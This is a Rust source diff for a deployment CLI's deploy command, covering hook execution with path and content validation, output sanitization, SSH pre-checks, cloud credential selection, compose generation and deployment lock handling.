+                hook_name: hook_name.to_string(),
+                reason: format!(
+                    "cannot canonicalize hook path '{}': {}",
+                    script_path.display(),
+                    e
+                ),
+            })?;
+        let project_canonical = project_dir
+            .canonicalize()
+            .unwrap_or_else(|_| project_dir.to_path_buf());
+        if !canonical.starts_with(&project_canonical) {
+            return Err(CliError::HookRejected {
+                hook_name: hook_name.to_string(),
+                reason: format!(
+                    "path '{}' resolves outside the project directory",
+                    script_path.display()
+                ),
+            });
+        }
+
+        eprintln!("  Hook ({}) running: {}", hook_name, canonical.display());
+
+        // Security: validate script content for malicious patterns (L3: cap size at 1 MB)
+        let script_content = std::fs::read(&script_path)
+            .ok()
+            .filter(|b| b.len() <= 1_048_576)
+            .and_then(|b| String::from_utf8(b).ok());
+        match script_content {
+            Some(content) => {
+                let validation = validate_shell_scripts(&[(hook_name, &content)]);
+                if !validation.passed {
+                    let critical: Vec<&str> = validation
+                        .details
+                        .iter()
+                        .filter(|d| d.starts_with("[CRITICAL]"))
+                        .map(|s| s.as_str())
+                        .collect();
+                    if !critical.is_empty() {
+                        return Err(CliError::HookRejected {
+                            hook_name: hook_name.to_string(),
+                            reason: format!(
+                                "rejected by security validation:\n  {}",
+                                critical.join("\n  ")
+                            ),
+                        });
+                    }
+                    for warning in validation
+                        .details
+                        .iter()
+                        .filter(|d| d.starts_with("[WARNING]"))
+                    {
+                        eprintln!("  [WARN] Hook '{}': {}", hook_name, warning);
+                    }
+                }
+            }
+            None => {
+                eprintln!(
+                    "  [WARN] Could not read (or too large) '{}' for validation",
+                    script_path.display()
+                );
+            }
+        }
+
+        let script_str = canonical.to_string_lossy().to_string();
+        let output =
+            executor.execute_with_timeout("sh", &[&script_str], HOOK_TIMEOUT, Some(project_dir))?;
+
+        // Phase 8 defence (audit M4 + M5): a hostile hook can dump
+        // gigabytes of stdout to OOM the CLI, or emit ANSI escape
+        // sequences to clear the terminal / fake a prompt / set the
+        // window title. Sanitize both channels before they touch the
+        // user's terminal. The size cap is enforced string-level here;
+        // the pipe-level cap is a job for ShellExecutor's spawn code.
+        if !output.stdout.is_empty() {
+            println!("{}", sanitize_hook_output(&output.stdout));
+        }
+        if !output.stderr.is_empty() {
+            eprintln!("{}", sanitize_hook_output(&output.stderr));
+        }
+        if !output.success() {
+            return Err(CliError::DeployFailed {
+                target: crate::cli::config_parser::DeployTarget::Local,
+                reason: format!(
+                    "Hook '{}' failed: {}",
+                    hook_name,
+                    sanitize_hook_output(output.stderr.trim())
+                ),
+            });
+        }
+        eprintln!("  Hook ({}) completed", hook_name);
+    }
+    Ok(())
+}
+
+/// Core deploy logic, extracted for testability.
+///
+/// Takes injectable `CommandExecutor` so tests can mock shell calls.
+///
+/// Uses `HookPolicy::default()` — hooks are allowed for user-authored
+/// configs and refused for marketplace-generated ones. Use
+/// [`run_deploy_with_policy`] to override.
+#[allow(clippy::too_many_arguments)]
+pub fn run_deploy(
+    project_dir: &Path,
+    config_file: Option<&str>,
+    target_override: Option<&str>,
+    dry_run: bool,
+    force_rebuild: bool,
+    force_new: bool,
+    executor: &dyn CommandExecutor,
+    remote_overrides: &RemoteDeployOverrides,
+    runtime: &str,
+) -> Result<DeployResult, CliError> {
+    run_deploy_with_policy(
+        project_dir,
+        config_file,
+        target_override,
+        dry_run,
+        force_rebuild,
+        force_new,
+        executor,
+        remote_overrides,
+        runtime,
+        HookPolicy::default(),
+    )
+}
+
+/// Like [`run_deploy`] but with an explicit [`HookPolicy`]. This is the
+/// hook-safe entry point used by the CLI when the user passes
+/// `--no-hooks` or `--allow-untrusted-hooks`.
+#[allow(clippy::too_many_arguments)]
+pub fn run_deploy_with_policy(
+    project_dir: &Path,
+    config_file: Option<&str>,
+    target_override: Option<&str>,
+    dry_run: bool,
+    force_rebuild: bool,
+    force_new: bool,
+    executor: &dyn CommandExecutor,
+    remote_overrides: &RemoteDeployOverrides,
+    runtime: &str,
+    hook_policy: HookPolicy,
+) -> Result<DeployResult, CliError> {
+    run_deploy_for_environment_with_policy(
+        project_dir,
+        config_file,
+        target_override,
+        None,
+        dry_run,
+        force_rebuild,
+        force_new,
+        executor,
+        remote_overrides,
+        runtime,
+        hook_policy,
+    )
+}
+
+#[allow(clippy::too_many_arguments)]
+pub fn run_deploy_for_environment(
+    project_dir: &Path,
+    config_file: Option<&str>,
+    target_override: Option<&str>,
+    environment_override: Option<&str>,
+    dry_run: bool,
+    force_rebuild: bool,
+    force_new: bool,
+    executor: &dyn CommandExecutor,
+    remote_overrides: &RemoteDeployOverrides,
+    runtime: &str,
+) -> Result<DeployResult, CliError> {
+    run_deploy_for_environment_with_policy(
+        project_dir,
+        config_file,
+        target_override,
+        environment_override,
+        dry_run,
+        force_rebuild,
+        force_new,
+        executor,
+        remote_overrides,
+        runtime,
+        HookPolicy::default(),
+    )
+}
+
+#[allow(clippy::too_many_arguments)]
+pub fn run_deploy_for_environment_with_policy(
+    project_dir: &Path,
+    config_file: Option<&str>,
+    target_override: Option<&str>,
+    environment_override: Option<&str>,
+    dry_run: bool,
+    force_rebuild: bool,
+    force_new: bool,
+    executor: &dyn CommandExecutor,
+    remote_overrides: &RemoteDeployOverrides,
+    runtime: &str,
+    hook_policy: HookPolicy,
+) -> Result<DeployResult, CliError> {
+    let cred_manager = CredentialsManager::with_default_store();
+    run_deploy_with_credentials_manager(
+        project_dir,
+        config_file,
+        target_override,
+        environment_override,
+        dry_run,
+        force_rebuild,
+        force_new,
+        executor,
+        remote_overrides,
+        runtime,
+        &cred_manager,
+        hook_policy,
+    )
+}
+
+#[allow(clippy::too_many_arguments)]
+fn run_deploy_with_credentials_manager<S: CredentialStore>(
+    project_dir: &Path,
+    config_file: Option<&str>,
+    target_override: Option<&str>,
+    environment_override: Option<&str>,
+    dry_run: bool,
+    force_rebuild: bool,
+    force_new: bool,
+    executor: &dyn CommandExecutor,
+    remote_overrides: &RemoteDeployOverrides,
+    runtime: &str,
+    cred_manager: &CredentialsManager<S>,
+    hook_policy: HookPolicy,
+) -> Result<DeployResult, CliError> {
+    // 1. Load config
+    let config_path = match config_file {
+        Some(f) => project_dir.join(f),
+        None => project_dir.join(DEFAULT_CONFIG_FILE),
+    };
+
+    let mut config =
+        StackerConfig::from_file(&config_path)?.with_resolved_deploy_target(target_override)?;
+    let selected_environment = if let Some((environment, environment_config)) =
+        config.resolve_environment_config(environment_override)?
+    {
+        config.deploy.environment = Some(environment.clone());
+        if let Some(compose_file) = environment_config.compose_file {
+            config.deploy.compose_file = Some(compose_file);
+        }
+        if let Some(env_file) = environment_config.env_file {
+            config.env_file = Some(env_file);
+        }
+        Some(environment)
+    } else {
+        None
+    };
+    ensure_env_file_if_needed(&config, project_dir)?;
+
+    // 2. Resolve deploy target/profile (flag > config default)
+    let mut deploy_target = config.deploy.target;
+    hydrate_server_deploy_config_from_lock(project_dir, &mut config, deploy_target)?;
+
+    // 2b. Server pre-check: when target is Cloud but deploy.server section
+    //     is defined with a host, try SSH connectivity first.
+    //     If the server is reachable, automatically switch to Server target.
+    //     If not, show diagnostics and abort so the user can fix or remove the section.
+    //     Skipped when --force-new is set (user explicitly wants a fresh cloud provision).
+    //     When a lockfile exists, auto-inject the server name so the API reuses the server.
+    let mut lock_server_name: Option<String> = None;
+    if deploy_target == DeployTarget::Cloud && !force_new {
+        if let Some(ref server_cfg) = config.deploy.server {
+            if crate::helpers::ip::is_private_host(&server_cfg.host) {
+                // Private/intranet host — skip SSH check and switch to Server target.
+                // The russh client cannot reliably reach intranet IPs from the CLI's
+                // routing stack (EHOSTUNREACH), but the local SSH binary can. Trust
+                // the config and proceed.
+                eprintln!(
+                    "  Found deploy.server section (host={}). Intranet address — skipping SSH pre-check.",
+                    server_cfg.host
+                );
+                eprintln!("  Switching deploy target from 'cloud' → 'server' (intranet server).");
+                deploy_target = DeployTarget::Server;
+            } else {
+                eprintln!(
+                    "  Found deploy.server section (host={}). Checking SSH connectivity...",
+                    server_cfg.host
+                );
+
+                match try_ssh_server_check(server_cfg) {
+                    Some(check) if check.connected && check.authenticated => {
+                        eprintln!(
+                            "  ✓ Server {} is reachable ({})",
+                            server_cfg.host,
+                            check.summary()
+                        );
+
+                        if !check.docker_installed {
+                            eprintln!("  ⚠ Docker is NOT installed on the server.");
+                            eprintln!(
+                                "    Continuing anyway — the setup/bootstrap role is expected to install Docker."
+                            );
+                        }
+
+                        eprintln!(
+                        "  Switching deploy target from 'cloud' → 'server' (using existing server)"
+                    );
+                        deploy_target = DeployTarget::Server;
+                    }
+                    Some(check) => {
+                        // Server defined but not reachable — abort with helpful hints
+                        print_server_unreachable_hint(server_cfg, &check);
+                        return Err(CliError::DeployFailed {
+                        target: DeployTarget::Cloud,
+                        reason: format!(
+                            "deploy.server section defines host {} but the server is not reachable: {}. \
+                             Fix the connection or remove the 'server' section to provision a new cloud server.",
+                            server_cfg.host,
+                            check.error.as_deref().unwrap_or("unknown error")
+                        ),
+                    });
+                    }
+                    None => {
+                        // Could not perform SSH check (missing key, etc.) — warn and abort
+                        eprintln!("  ⚠ Could not verify server connectivity (see above).");
+                        eprintln!("    Remove the 'server' section from stacker.yml to provision a new cloud server,");
+                        eprintln!("    or fix the SSH key configuration and retry.");
+                        return Err(CliError::DeployFailed {
+                        target: DeployTarget::Cloud,
+                        reason: format!(
+                            "deploy.server section defines host {} but SSH connectivity check could not be performed. \
+                             Fix the SSH key or remove the 'server' section to provision a new cloud server.",
+                            server_cfg.host
+                        ),
+                    });
+                    }
+                }
+            }
+        } else if DeploymentLock::exists_for_target(project_dir, "cloud")
+            || DeploymentLock::exists(project_dir)
+        {
+            // No deploy.server in config, but a lockfile exists from a prior deploy.
+            // Auto-inject the server name so the cloud deploy API reuses the same server.
+            if let Ok(Some(lock)) = DeploymentLock::load_for_target(project_dir, "cloud") {
+                if let Some(ref name) = lock.server_name {
+                    eprintln!(
+                        "  ℹ Found previous cloud deployment (server='{}') — reusing server",
+                        name
+                    );
+                    eprintln!("    To provision a new server instead: stacker deploy --force-new");
+                    lock_server_name = Some(name.clone());
+                } else if let Some(ref ip) = lock.server_ip {
+                    if ip != "127.0.0.1" {
+                        eprintln!(
+                            "  ℹ Found previous deployment to {} (from deployment lock)",
+                            ip
+                        );
+                        eprintln!(
+                            "    Server name unknown — cannot auto-reuse. Run: stacker config lock"
+                        );
+                        eprintln!(
+                            "    To provision a new server instead:   stacker deploy --force-new"
+                        );
+                    }
+                }
+            }
+        }
+    }
+
+    // 3. Cloud/server prerequisites — verify login and keep credentials for later use.
+    let cloud_creds: Option<StoredCredentials> =
+        if matches!(deploy_target, DeployTarget::Cloud | DeployTarget::Server) {
+            let purpose = if deploy_target == DeployTarget::Cloud {
+                "cloud deploy"
+            } else {
+                "server deploy"
+            };
+            Some(cred_manager.require_valid_token(purpose)?)
+        } else {
+            None
+        };
+
+    if deploy_target == DeployTarget::Cloud {
+        if let Some(creds) = cloud_creds.as_ref() {
+            apply_cloud_cli_override(&mut config, remote_overrides, creds)?;
+        }
+    }
+
+    if deploy_target == DeployTarget::Server {
+        if let Some(ref server_cfg) = config.deploy.server {
+            if crate::helpers::ip::is_private_host(&server_cfg.host) {
+                // Intranet / private-IP servers are not reachable from the cloud,
+                // so the russh pre-check will always fail (EHOSTUNREACH on the CLI
+                // machine's routing stack may differ from the system SSH). Skip it
+                // and proceed directly — the user configured this server themselves.
+                eprintln!(
+                    "  Skipping SSH pre-check for intranet server {} (private address).",
+                    server_cfg.host
+                );
+            } else {
+                eprintln!(
+                    "  Validating SSH connectivity to {} before bootstrap deploy...",
+                    server_cfg.host
+                );
+
+                match try_ssh_server_check(server_cfg) {
+                    Some(check) if check.connected && check.authenticated => {
+                        eprintln!(
+                            "  ✓ Server {} is reachable ({})",
+                            server_cfg.host,
+                            check.summary()
+                        );
+
+                        if !check.docker_installed {
+                            eprintln!("  ⚠ Docker is NOT installed on {}.", server_cfg.host);
+                            eprintln!(
+                                "    Continuing anyway — the setup/bootstrap role is expected to install Docker."
+                            );
+                        }
+                    }
+                    Some(check) => {
+                        print_server_unreachable_hint(server_cfg, &check);
+                        return Err(CliError::DeployFailed {
+                            target: DeployTarget::Server,
+                            reason: format!(
+                                "Failed to connect to {} over SSH: {}",
+                                server_cfg.host,
+                                check.error.as_deref().unwrap_or("unknown error")
+                            ),
+                        });
+                    }
+                    None => {
+                        return Err(CliError::DeployFailed {
+                            target: DeployTarget::Server,
+                            reason: format!(
+                                "Could not verify SSH connectivity to {}. Check deploy.server.ssh_key and retry.",
+                                server_cfg.host
+                            ),
+                        });
+                    }
+                }
+            }
+        }
+    }
+
+    // 3b. If cloud target but no cloud section in stacker.yml, prompt to select a saved credential.
+    if deploy_target == DeployTarget::Cloud && config.deploy.cloud.is_none() {
+        let creds = cloud_creds
+            .as_ref()
+            .expect("cloud_creds should be set when deploy_target is Cloud (verified in step 3)");
+        let access_token = &creds.access_token;
+        let base_url = active_stacker_base_url(creds);
+
+        match prompt_select_cloud(&base_url, access_token)? {
+            Some(cloud_info) => {
+                eprintln!(
+                    "  Selected cloud credential: {} (id={}, provider={})",
+                    cloud_info.name, cloud_info.id, cloud_info.provider
+                );
+
+                // Apply the selected cloud to the in-memory config.
+                config.deploy.target = DeployTarget::Cloud;
+                config.deploy.cloud = Some(cloud_config_from_info(&cloud_info)?);
+
+                // Persist the selection to stacker.yml so subsequent deploys
+                // do not prompt again.
+                if config_path.exists() {
+                    let yaml = serde_yaml::to_string(&config).map_err(|e| {
+                        CliError::ConfigValidation(format!(
+                            "Failed to serialize updated config: {}",
+                            e
+                        ))
+                    })?;
+                    std::fs::write(&config_path, yaml)?;
+                    eprintln!(
+                        "  ✓ Updated {} with deploy.cloud.key={}",
+                        config_path.display(),
+                        cloud_info.name
+                    );
+                }
+            }
+            None => {
+                // User chose "Connect a new cloud provider"
+                eprintln!();
+                eprintln!("  To connect a new cloud provider, export your API token and redeploy:");
+                eprintln!(
+                    "    Hetzner:      {}",
+                    cloud_env::provider_cli_example("htz")
+                );
+                eprintln!(
+                    "    DigitalOcean: {}",
+                    cloud_env::provider_cli_example("do")
+                );
+                eprintln!(
+                    "    Linode:       {}",
+                    cloud_env::provider_cli_example("lo")
+                );
+                eprintln!(
+                    "    Vultr:        {}",
+                    cloud_env::provider_cli_example("vu")
+                );
+                eprintln!(
+                    "    AWS:          {}",
+                    cloud_env::provider_cli_example("aws")
+                );
+                eprintln!();
+                eprintln!("  Or configure manually with: stacker config setup cloud");
+                eprintln!();
+                return Err(CliError::CloudProviderMissing);
+            }
+        }
+    }
+
+    // 4. Validate via strategy
+    let strategy = strategy_for(&deploy_target);
+    strategy.validate(&config)?;
+
+    // 5. Generate artifacts into .stacker/
+    let output_dir = project_dir.join(OUTPUT_DIR);
+    std::fs::create_dir_all(&output_dir)?;
+
+    // 5a. Dockerfile
+    let needs_dockerfile = config.app.image.is_none() && config.app.dockerfile.is_none();
+    let dockerfile_path = output_dir.join("Dockerfile");
+
+    if needs_dockerfile {
+        if force_rebuild || !dockerfile_path.exists() {
+            let builder = DockerfileBuilder::for_project(&project_dir, config.app.app_type);
+            builder.write_to(&dockerfile_path, force_rebuild)?;
+        } else {
+            eprintln!(
+                "  Using existing {}/Dockerfile (use --force-rebuild to regenerate)",
+                OUTPUT_DIR
+            );
+        }
+    }
+
+    // 5b. docker-compose.yml
+    let (compose_path, compose_is_user_supplied) =
+        if let Some(ref existing) = config.deploy.compose_file {
+            let configured_path = project_dir.join(existing);
+            if configured_path.exists() {
+                (configured_path, true)
+            } else {
+                let generated_fallback = output_dir.join("docker-compose.yml");
+                if generated_fallback.exists() {
+                    eprintln!(
+                        "  Configured compose file not found: {}. Falling back to {}",
+                        configured_path.display(),
+                        generated_fallback.display()
+                    );
+                    (generated_fallback, false)
+                } else {
+                    return Err(CliError::ConfigValidation(format!(
+                        "Compose file not found: {}",
+                        configured_path.display()
+                    )));
+                }
+            }
+        } else {
+            let compose_out = output_dir.join("docker-compose.yml");
+            if force_rebuild || !compose_out.exists() {
+                let compose = ComposeDefinition::try_from(&config)?;
+                compose.write_to(&compose_out, force_rebuild)?;
+            } else {
+                eprintln!(
+                    "  Using existing {}/docker-compose.yml (use --force-rebuild to regenerate)",
+                    OUTPUT_DIR
+                );
+            }
+            (compose_out, false)
+        };
+
+    normalize_generated_compose_paths(&compose_path)?;
+    validate_compose_for_deploy(&compose_path)?;
+    if compose_is_user_supplied {
+        validate_cross_source_port_collisions(&config, &compose_path)?;
+    }
+    ensure_compose_env_files_if_needed(&compose_path)?;
+    let image_env = build_image_env_lookup(project_dir, &config)?;
+    merge_compose_public_ports_into_app_config(&mut config, &compose_path, &image_env)?;
+    if matches!(deploy_target, DeployTarget::Cloud | DeployTarget::Server) {
+        print_registry_auth_guidance_if_needed(&compose_path, &config, &image_env)?;
+    }
+    let required_image_platform = required_image_platform_for_deploy_target(&deploy_target);
+    if !dry_run {
+        validate_compose_images_for_deploy(
+            &compose_path,
+            config.deploy.registry.as_ref(),
+            &image_env,
+            required_image_platform.as_ref(),
+        )?;
+    }
+
+    // 5b.1 Surface build source paths to avoid confusion.
+    if let Some(image) = &config.app.image {
+        eprintln!(
+            "  App image source: image={} (no local Dockerfile build)",
+            image
+        );
+    } else if let Some(build_src) = compose_app_build_source(&compose_path) {
+        eprintln!("  App build source: {}", build_src);
+    } else if let Some(dockerfile) = &config.app.dockerfile {
+        let dockerfile_display = if dockerfile.is_absolute() {
+            dockerfile.display().to_string()
+        } else {
+            project_dir.join(dockerfile).display().to_string()
+        };
+        eprintln!("  App build source: Dockerfile={}", dockerfile_display);
+    } else {
+        eprintln!(
+            "  App build source: Dockerfile={}",
+            dockerfile_path.display()
+        );
+    }
+    eprintln!("  Compose file: {}", compose_path.display());
+    if let Some(environment) = &selected_environment {
+        eprintln!(
+            "  Environment: {} -> Target: {}",
+            environment, deploy_target
+        );
+    }
+
+    let config_bundle = if matches!(deploy_target, DeployTarget::Cloud | DeployTarget::Server) {
+        // Bind-mount config files and the env file are not environment-specific,
+        // so bundle them on every cloud/server deploy. When no environment profile
+        // is selected, use a synthetic "default" namespace for the bundle output;
+        // this namespace is flagged so it never leaks as the deploy environment.
+        let synthesized_environment = selected_environment.is_none();
+        let bundle_env = selected_environment.as_deref().unwrap_or("default");
+        // A generated compose lives under .stacker/ but its bind-mount paths were
+        // authored in stacker.yml relative to the project root, so resolve them
+        // against project_dir. A user-supplied compose keeps standard Docker Compose
+        // semantics (relative to the compose file's own directory).
+        let reference_base: PathBuf = if compose_is_user_supplied {
+            compose_path
+                .parent()
+                .map(Path::to_path_buf)
+                .unwrap_or_else(|| project_dir.to_path_buf())
+        } else {
+            project_dir.to_path_buf()
+        };
+        // Cloud/server deploys always run the status-panel agent, so put project
+        // services on the agent's shared network for reachability.
+        let mut bundle = build_config_bundle(
+            project_dir,
+            bundle_env,
+            &compose_path,
+            config.env_file.as_deref(),
+            &reference_base,
+            true,
+        )?;
+        bundle.synthesized_environment = synthesized_environment;
+        eprintln!("  Config bundle: {}", bundle.archive_path.display());
+        for file in &bundle.manifest.files {
+            eprintln!(
+                "    Config file: {} -> {}",
+                file.source_path, file.destination_path
+            );
+        }
+        Some(bundle)
+    } else {
+        None
+    };
+
+    // 5c. Report hooks (dry-run)
+    if dry_run {
+        if let Some(ref pre_build) = config.hooks.pre_build {
+            eprintln!("  Hook (pre_build): {}", pre_build.display());
+        }
+        if let Some(ref post_deploy) = config.hooks.post_deploy {
+            eprintln!("  Hook (post_deploy): {}", post_deploy.display());
+        }
+        if let Some(ref on_failure) = config.hooks.on_failure {
+            eprintln!("  Hook (on_failure): {}", on_failure.display());
+        }
+    }
+
+    // 6. Deploy
+    let context = DeployContext {
+        config_path: config_path.clone(),
+        compose_path: compose_path.clone(),
+        project_dir: project_dir.to_path_buf(),
+        dry_run,
+        image: config
+            .deploy
+            .cloud
+            .as_ref()
+            .and_then(|cloud| cloud.install_image.clone()),
+        project_name_override: remote_overrides.project_name.clone(),
+        key_name_override: remote_overrides.key_name.clone(),
+        key_id_override: remote_overrides.key_id,
+        server_name_override: remote_overrides.server_name.clone().or(lock_server_name),
+        runtime: runtime.to_string(),
+        config_bundle,
+        managed_proxy_feature_enabled: true,
+        force_new,
+    };
+
+    let origin_trusted = config.is_trusted();
+
+    // 6a. Execute pre-build hook
+    if !dry_run {
+        run_hook(
+            executor,
+            project_dir,
+            &config.hooks.pre_build,
+            "pre_build",
+            hook_policy,
+            origin_trusted,
+        )?;
+    }
+
+    // 6b. Deploy
+    let deploy_result = strategy.deploy(&config, &context, executor);
+
+    match deploy_result {
+        Ok(result) => {
+            // 6c. Execute post-deploy hook on success.
+            //
+            // Phase 6b split: distinguish security REJECTION from runtime
+            // FAILURE. A rejection (path traversal, malicious content,
+            // untrusted origin) must fail the deploy — otherwise a hostile
+            // stacker.yml can silently succeed while the tell-tale WARN
+            // scrolls off the terminal. A clean-content hook that just
+            // exits non-zero at runtime stays best-effort (WARN + Ok).
+            if !dry_run {
+                match run_hook(
+                    executor,
+                    project_dir,
+                    &config.hooks.post_deploy,
+                    "post_deploy",
+                    hook_policy,
+                    origin_trusted,
+                ) {
+                    Ok(()) => {}
+                    Err(err @ CliError::HookRejected { .. }) => {
+                        eprintln!("  [ERROR] {}", err);
+                        return Err(err);
+                    }
+                    Err(err) => {
+                        eprintln!("  [WARN] post_deploy hook failed: {}", err);
+                    }
+                }
+            }
+            Ok(result)
+        }
+        Err(err) => {
+            // 6d. Execute on-failure hook.
+            //
+            // Phase 6b: runtime failure of on_failure is a WARN and the
+            // original deploy error is preserved. Security rejection of
+            // on_failure is escalated by chaining the rejection reason
+            // into the returned error, so the operator sees BOTH the
+            // primary cause AND the fact that a hostile cleanup script
+            // was refused.
+            if !dry_run {
+                match run_hook(
+                    executor,
+                    project_dir,
+                    &config.hooks.on_failure,
+                    "on_failure",
+                    hook_policy,
+                    origin_trusted,
+                ) {
+                    Ok(()) => {}
+                    Err(hook_err @ CliError::HookRejected { .. }) => {
+                        let rejection_text = format!("{}", hook_err);
+                        eprintln!("  [ERROR] {}", rejection_text);
+                        let chained = match err {
+                            CliError::DeployFailed { target, reason } => CliError::DeployFailed {
+                                target,
+                                reason: format!("{}\n\n{}", reason, rejection_text),
+                            },
+                            other => CliError::DeployFailed {
+                                target: crate::cli::config_parser::DeployTarget::Local,
+                                reason: format!("{}\n\n{}", other, rejection_text),
+                            },
+                        };
+                        return Err(chained);
+                    }
+                    Err(hook_err) => {
+                        eprintln!("  [WARN] on_failure hook also failed: {}", hook_err);
+                    }
+                }
+            }
+            Err(err)
+        }
+    }
+}
+
+impl CallableTrait for DeployCommand {
+    fn call(&self) -> Result<(), Box<dyn std::error::Error>> {
+        if let Some(service) = &self.service {
+            return self.deploy_single_service(service);
+        }
+
+        if self.plan {
+            return crate::console::commands::cli::deployment::run_remote_deployment_plan(
+                None,
+                crate::services::DeployPlanOperation::Deploy,
+                None,
+                None,
+                None,
+            );
+        }
+
+        if let Some(fingerprint) = self.apply_plan.as_deref() {
+            let project_dir = std::env::current_dir()?;
+            let config_path = project_dir.join("stacker.yml");
+            let config = StackerConfig::from_file(&config_path)?
+                .with_resolved_deploy_target(None)
+                .map_err(|e| CliError::ConfigValidation(format!("Invalid stacker.yml: {}", e)))?;
+            let ctx = crate::cli::runtime::CliRuntime::new("deploy apply-plan")?;
+            let validated_plan = ctx.block_on(async {
+                let base_url =
+                    crate::console::commands::cli::status::resolve_stacker_base_url(&ctx.creds);
+                crate::console::commands::cli::deployment::fetch_remote_deployment_plan(
+                    &config,
+                    &base_url,
+                    &ctx.client,
+                    None,
+                    crate::services::DeployPlanOperation::Deploy,
+                    None,
+                    None,
+                    Some(fingerprint),
+                )
+                .await
+            })?;
+            if !validated_plan.has_changes {
+                println!(
+                    "Plan already satisfied for {}. Nothing to apply.",
+                    validated_plan.deployment_hash
+                );
+                return Ok(());
+            }
+        }
+
+        let project_dir = std::env::current_dir()?;
+        let executor = ShellExecutor;
+
+        // Build remote overrides from CLI flags
+        let remote_overrides = RemoteDeployOverrides {
+            project_name: self.project_name.clone(),
+            key_name: self.key_name.clone(),
+            key_id: self.key_id,
+            server_name: self.server_name.clone(),
+        };
+
+        // ── Spinner while deploying ──────────────────
+        let spin = progress::deploy_spinner("starting...");
+
+        let result = run_deploy_for_environment_with_policy(
+            &project_dir,
+            self.file.as_deref(),
+            self.target.as_deref(),
+            self.environment.as_deref(),
+            self.dry_run,
+            self.force_rebuild,
+            self.force_new,
+            &executor,
+            &remote_overrides,
+            &self.runtime,
+            self.hook_policy(),
+        );
+
+        let result = match result {
+            Ok(result) => {
+                progress::finish_success(&spin, &result.message);
+                result
+            }
+            Err(err) => {
+                progress::finish_error(&spin, &format!("{}", err));
+                if let CliError::LoginRequired { .. } = &err {
+                    eprintln!("\nHint: run `stacker login` and retry deploy.");
+                }
+                print_ai_deploy_help(&project_dir, self.file.as_deref(), &err);
+                return Err(Box::new(err));
+            }
+        };
+
+        if let Some(ip) = &result.server_ip {
+            eprintln!("  Server IP: {}", ip);
+        }
+
+        // ── Post-deploy progress tracking ────────────
+        if self.dry_run {
+            return Ok(());
+        }
+
+        // Resolve whether to watch: explicit flag > auto-detect
+        let should_watch = self.watch.unwrap_or_else(|| {
+            // Auto: watch for cloud remote deploys, health-check for local
+            matches!(result.target, DeployTarget::Cloud | DeployTarget::Server)
+                && (result.deployment_id.is_some() || result.project_id.is_some())
+        });
+
+        let mut watch_outcome = DeploymentWatchOutcome::Unknown;
+
+        match result.target {
+            DeployTarget::Local => {
+                // Always do a quick health check for local deploy unless --no-watch
+                if self.watch != Some(false) {
+                    watch_local_containers(
+                        &project_dir,
+                        self.file.as_deref(),
+                        self.target.as_deref(),
+                    )?;
+                }
+
+                // Show platform features available to the user
+                let creds_path = std::env::var("XDG_CONFIG_HOME")
+                    .map(std::path::PathBuf::from)
+                    .or_else(|_| {
+                        std::env::var("HOME").map(|h| std::path::PathBuf::from(h).join(".config"))
+                    })
+                    .map(|b| b.join("stacker/credentials.json"))
+                    .unwrap_or_default();
+                let logged_in = std::env::var("STACKER_TOKEN").is_ok() || creds_path.exists();
+
+                if !logged_in {
+                    eprintln!(
+                        "\n  Create a free account to deploy anywhere:\n\
+                           stacker login\n\
+                           (Free tier: 20 deploys/mo, 1 cloud provider — no credit card)"
+                    );
+                } else {
+                    eprintln!(
+                        "\n  Deploy to production:\n\
+                           stacker config setup cloud    (Hetzner $4/mo, 5 min setup)\n\
+                           stacker deploy --target cloud"
+                    );
+                }
+            }
+            DeployTarget::Cloud | DeployTarget::Server if should_watch => {
+                watch_outcome = watch_cloud_deployment(&result)?;
+            }
+            _ => {}
+        }
+
+        let should_fetch_remote_details = !matches!(watch_outcome, DeploymentWatchOutcome::Failed);
+
+        // ── Deployment lock: persist deployment context ──
+        self.save_deployment_lock(&project_dir, &result, should_fetch_remote_details)?;
+        if should_fetch_remote_details && should_install_cloud_backup_key(&result, self.dry_run) {
+            self.install_cloud_backup_key(&result);
+        }
+
+        Ok(())
+    }
+}
+
+fn should_install_cloud_backup_key(result: &DeployResult, dry_run: bool) -> bool {
+    !dry_run && result.target == DeployTarget::Cloud && result.project_id.is_some()
+}
+
+impl DeployCommand {
+    fn install_cloud_backup_key(&self, result: &DeployResult) {
+        if result.target != DeployTarget::Cloud {
+            return;
+        }
+
+        let Some(project_id) = result.project_id else {
+            eprintln!(
+                "  ⚠ Local SSH backup key was not installed: deployment returned no project ID."
+            );
+            return;
+        };
+
+        let server = match fetch_server_for_project(
+            project_id as i32,
+            DeployTarget::Cloud,
+            result.server_name.as_deref(),
+        ) {
+            Ok(Some(server)) => server,
+            Ok(None) => {
+                eprintln!(
+                    "  ⚠ Local SSH backup key was not installed: server details are not available yet."
+                );
+                return;
+            }
+            Err(err) => {
+                eprintln!(
+                    "  ⚠ Local SSH backup key was not installed: could not fetch server details: {}",
+                    err
+                );
+                return;
+            }
+        };
+
+        if server
+            .srv_ip
+            .as_deref()
+            .is_none_or(|ip| ip.trim().is_empty())
+        {
+            eprintln!(
+                "  ⚠ Local SSH backup key was not installed: server IP is not available yet."
+            );
+            return;
+        }
+
+        let (base_url, creds) = match resolve_saved_stacker_base_url("SSH backup key authorization")
+        {
+            Ok(values) => values,
+            Err(err) => {
+                eprintln!(
+                    "  ⚠ Local SSH backup key was not installed: could not load credentials: {}",
+                    err
+                );
+                return;
+            }
+        };
+
+        let rt = match tokio::runtime::Builder::new_current_thread()
+            .enable_all()
+            .build()
+        {
+            Ok(rt) => rt,
+            Err(err) => {
+                eprintln!(
+                    "  ⚠ Local SSH backup key was not installed: failed to initialize runtime: {}",
+                    err
+                );
+                return;
+            }
+        };
+
+        let client =
+            StackerClient::new_for_target(&base_url, &creds.access_token, DeployTarget::Cloud);
+        match rt.block_on(
+            crate::console::commands::cli::ssh_key::ensure_local_backup_key_authorized(
+                &client, &server,
+            ),
+        ) {
+            Ok(auth) => {
+                eprintln!("  ✓ Local SSH backup key authorized");
+                eprintln!("    Key: {}", auth.private_key_path.display());
+                eprintln!("    Public key: {}", auth.public_key_path.display());
+                eprintln!("    Connect: {}", auth.ssh_command);
+            }
+            Err(err) => {
+                eprintln!(
+                    "  ⚠ App deploy succeeded, but local SSH backup access was not installed."
+                );
+                eprintln!("    Reason: {}", err);
+                eprintln!(
+                    "    Repair: stacker ssh-key inject --server-id {} --with-key <existing-private-key>",
+                    server.id
+                );
+            }
+        }
+    }
+
+    /// Save deployment context to `.stacker/deployment.lock` after a successful deploy.
+    ///
+    /// For cloud deploys, tries to fetch the provisioned server's details from the
+    /// Stacker API (IP, SSH user/port, server name) so that subsequent deploys can
+    /// target the same server via the smart pre-check.
+    ///
+    /// When `--lock` is set, also writes the server details into `stacker.yml`.
